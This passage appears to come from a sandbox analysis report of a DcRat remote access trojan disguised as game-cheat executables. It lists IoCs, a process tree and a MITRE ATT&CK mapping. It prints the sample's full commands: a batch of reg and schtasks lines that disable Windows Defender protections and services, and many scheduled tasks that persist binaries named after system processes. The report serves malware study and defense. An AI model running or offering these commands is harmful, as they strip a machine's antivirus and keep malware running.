Token: SeUndockPrivilege	1648	wmic.exe
Token: SeManageVolumePrivilege	1648	wmic.exe
Token: 33	1648	wmic.exe
Token: 34	1648	wmic.exe
Token: 35	1648	wmic.exe
Token: 36	1648	wmic.exe
Token: SeDebugPrivilege	4412	portrefNet.exe
Token: SeDebugPrivilege	1600	lsass.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 388 wrote to memory of 4104	388	BBD6FFDB33259778F08704696A04891F.exe	86
PID 388 wrote to memory of 4104	388	BBD6FFDB33259778F08704696A04891F.exe	86
PID 388 wrote to memory of 4104	388	BBD6FFDB33259778F08704696A04891F.exe	86
PID 388 wrote to memory of 4884	388	BBD6FFDB33259778F08704696A04891F.exe	87
PID 388 wrote to memory of 4884	388	BBD6FFDB33259778F08704696A04891F.exe	87
PID 388 wrote to memory of 4884	388	BBD6FFDB33259778F08704696A04891F.exe	87
PID 4884 wrote to memory of 3864	4884	cmd.exe	89
PID 4884 wrote to memory of 3864	4884	cmd.exe	89
PID 4884 wrote to memory of 3864	4884	cmd.exe	89
PID 4884 wrote to memory of 1004	4884	cmd.exe	90
PID 4884 wrote to memory of 1004	4884	cmd.exe	90
PID 4884 wrote to memory of 1004	4884	cmd.exe	90
PID 4884 wrote to memory of 3972	4884	cmd.exe	91
PID 4884 wrote to memory of 3972	4884	cmd.exe	91
PID 4884 wrote to memory of 3972	4884	cmd.exe	91
PID 4884 wrote to memory of 1088	4884	cmd.exe	92
PID 4884 wrote to memory of 1088	4884	cmd.exe	92
PID 4884 wrote to memory of 1088	4884	cmd.exe	92
PID 4884 wrote to memory of 4492	4884	cmd.exe	93
PID 4884 wrote to memory of 4492	4884	cmd.exe	93
PID 4884 wrote to memory of 4492	4884	cmd.exe	93
PID 4884 wrote to memory of 4912	4884	cmd.exe	94
PID 4884 wrote to memory of 4912	4884	cmd.exe	94
PID 4884 wrote to memory of 4912	4884	cmd.exe	94
PID 4884 wrote to memory of 1456	4884	cmd.exe	95
PID 4884 wrote to memory of 1456	4884	cmd.exe	95
PID 4884 wrote to memory of 1456	4884	cmd.exe	95
PID 4884 wrote to memory of 2316	4884	cmd.exe	96
PID 4884 wrote to memory of 2316	4884	cmd.exe	96
PID 4884 wrote to memory of 2316	4884	cmd.exe	96
PID 4884 wrote to memory of 5116	4884	cmd.exe	97
PID 4884 wrote to memory of 5116	4884	cmd.exe	97
PID 4884 wrote to memory of 5116	4884	cmd.exe	97
PID 4884 wrote to memory of 4584	4884	cmd.exe	98
PID 4884 wrote to memory of 4584	4884	cmd.exe	98
PID 4884 wrote to memory of 4584	4884	cmd.exe	98
PID 4884 wrote to memory of 3888	4884	cmd.exe	99
PID 4884 wrote to memory of 3888	4884	cmd.exe	99
PID 4884 wrote to memory of 3888	4884	cmd.exe	99
PID 4884 wrote to memory of 940	4884	cmd.exe	100
PID 4884 wrote to memory of 940	4884	cmd.exe	100
PID 4884 wrote to memory of 940	4884	cmd.exe	100
PID 4884 wrote to memory of 2180	4884	cmd.exe	101
PID 4884 wrote to memory of 2180	4884	cmd.exe	101
PID 4884 wrote to memory of 2180	4884	cmd.exe	101
PID 4884 wrote to memory of 3272	4884	cmd.exe	102
PID 4884 wrote to memory of 3272	4884	cmd.exe	102
PID 4884 wrote to memory of 3272	4884	cmd.exe	102
PID 4884 wrote to memory of 5040	4884	cmd.exe	103
PID 4884 wrote to memory of 5040	4884	cmd.exe	103
PID 4884 wrote to memory of 5040	4884	cmd.exe	103
PID 4884 wrote to memory of 4988	4884	cmd.exe	104
PID 4884 wrote to memory of 4988	4884	cmd.exe	104
PID 4884 wrote to memory of 4988	4884	cmd.exe	104
PID 4884 wrote to memory of 2792	4884	cmd.exe	105
PID 4884 wrote to memory of 2792	4884	cmd.exe	105
PID 4884 wrote to memory of 2792	4884	cmd.exe	105
PID 4884 wrote to memory of 1904	4884	cmd.exe	106
PID 4884 wrote to memory of 1904	4884	cmd.exe	106
PID 4884 wrote to memory of 1904	4884	cmd.exe	106
PID 4884 wrote to memory of 2564	4884	cmd.exe	107
PID 4884 wrote to memory of 2564	4884	cmd.exe	107
PID 4884 wrote to memory of 2564	4884	cmd.exe	107
PID 4884 wrote to memory of 1916	4884	cmd.exe	108

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\BBD6FFDB33259778F08704696A04891F.exe
"C:\Users\Admin\AppData\Local\Temp\BBD6FFDB33259778F08704696A04891F.exe"
1⤵
- DcRat
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:388
- C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe
  "C:\Users\Admin\AppData\Local\Temp\Lunch LaCheatV2.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:4104
- - C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe
    "C:\Users\Admin\AppData\Local\Temp\Lunch LaCheat.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:4432
  - - C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
      "C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Modifies registry class
      PID:4016
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\blockweb\J6PsSzBYKK7mXTJyYh2Tgne.vbe"
        5⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:1400
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\blockweb\TOdra8QNG4wQEWkSimCHh9eVG.bat" "
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:3240
        
        C:\blockweb\portrefNet.exe
        
        "C:\blockweb\portrefNet.exe"
        7⤵
        Modifies WinLogon for persistence
        Checks computer location settings
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4412
        
        C:\blockweb\lsass.exe
        
        "C:\blockweb\lsass.exe"
        8⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1600
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\blockweb\file.vbs"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1560
  - - C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe
      "C:\Users\Admin\AppData\Local\Temp\52cheatand52rat.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:4788
    - - C:\Windows\System32\Wbem\wmic.exe
        
        "wmic.exe" csproduct get uuid
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1648
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\windows defender.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4884
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3864
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1004
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3972
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1088
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:4492
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:4912
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:1456
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:2316
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:5116
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4584
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3888
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:940
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2180
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3272
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5040
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4988
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2792
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1904
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2564
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1916
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4632
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3520
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1540
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3020
- - C:\Windows\SysWOW64\reg.exe
    reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:704
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:4412
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:1348
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:2228
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies Security services
    - System Location Discovery: System Language Discovery
    PID:1912
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
    3⤵
    - Modifies security service
    - System Location Discovery: System Language Discovery
    PID:3692

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 5 /tr "'C:\Users\Default User\sysmon.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Users\Default User\sysmon.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3428

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\sysmon.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1056

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\unsecapp.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:688

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\unsecapp.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3772

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows Sidebar\Shared Gadgets\unsecapp.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1272

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "portrefNetp" /sc MINUTE /mo 8 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\portrefNet.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "portrefNet" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\ClientX64\portrefNet.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:428

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "portrefNetp" /sc MINUTE /mo 14 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\portrefNet.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:5108

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TrustedInstallerT" /sc MINUTE /mo 13 /tr "'C:\Users\Admin\Searches\TrustedInstaller.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1368

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TrustedInstaller" /sc ONLOGON /tr "'C:\Users\Admin\Searches\TrustedInstaller.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1008

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TrustedInstallerT" /sc MINUTE /mo 10 /tr "'C:\Users\Admin\Searches\TrustedInstaller.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4104

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 11 /tr "'C:\blockweb\sihost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:808

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\blockweb\sihost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1800

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 9 /tr "'C:\blockweb\sihost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4076

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\sihost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Users\All Users\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\sihost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2496

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 13 /tr "'C:\Users\All Users\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\sihost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4496

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:468

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3360

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\dllhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2536

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 13 /tr "'C:\blockweb\lsass.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3820

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\blockweb\lsass.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2488

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 12 /tr "'C:\blockweb\lsass.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1688

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 9 /tr "'C:\blockweb\unsecapp.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1564

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\blockweb\unsecapp.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3616

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "unsecappu" /sc MINUTE /mo 7 /tr "'C:\blockweb\unsecapp.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4272

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TrustedInstallerT" /sc MINUTE /mo 12 /tr "'C:\Program Files\7-Zip\Lang\TrustedInstaller.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3720

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TrustedInstaller" /sc ONLOGON /tr "'C:\Program Files\7-Zip\Lang\TrustedInstaller.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:396

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "TrustedInstallerT" /sc MINUTE /mo 8 /tr "'C:\Program Files\7-Zip\Lang\TrustedInstaller.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:4812

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 10 /tr "'C:\blockweb\spoolsv.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2268

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\blockweb\spoolsv.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:456

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 8 /tr "'C:\blockweb\spoolsv.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:548

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 12 /tr "'C:\Users\Public\sihost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:228

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Users\Public\sihost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2232

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 11 /tr "'C:\Users\Public\sihost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry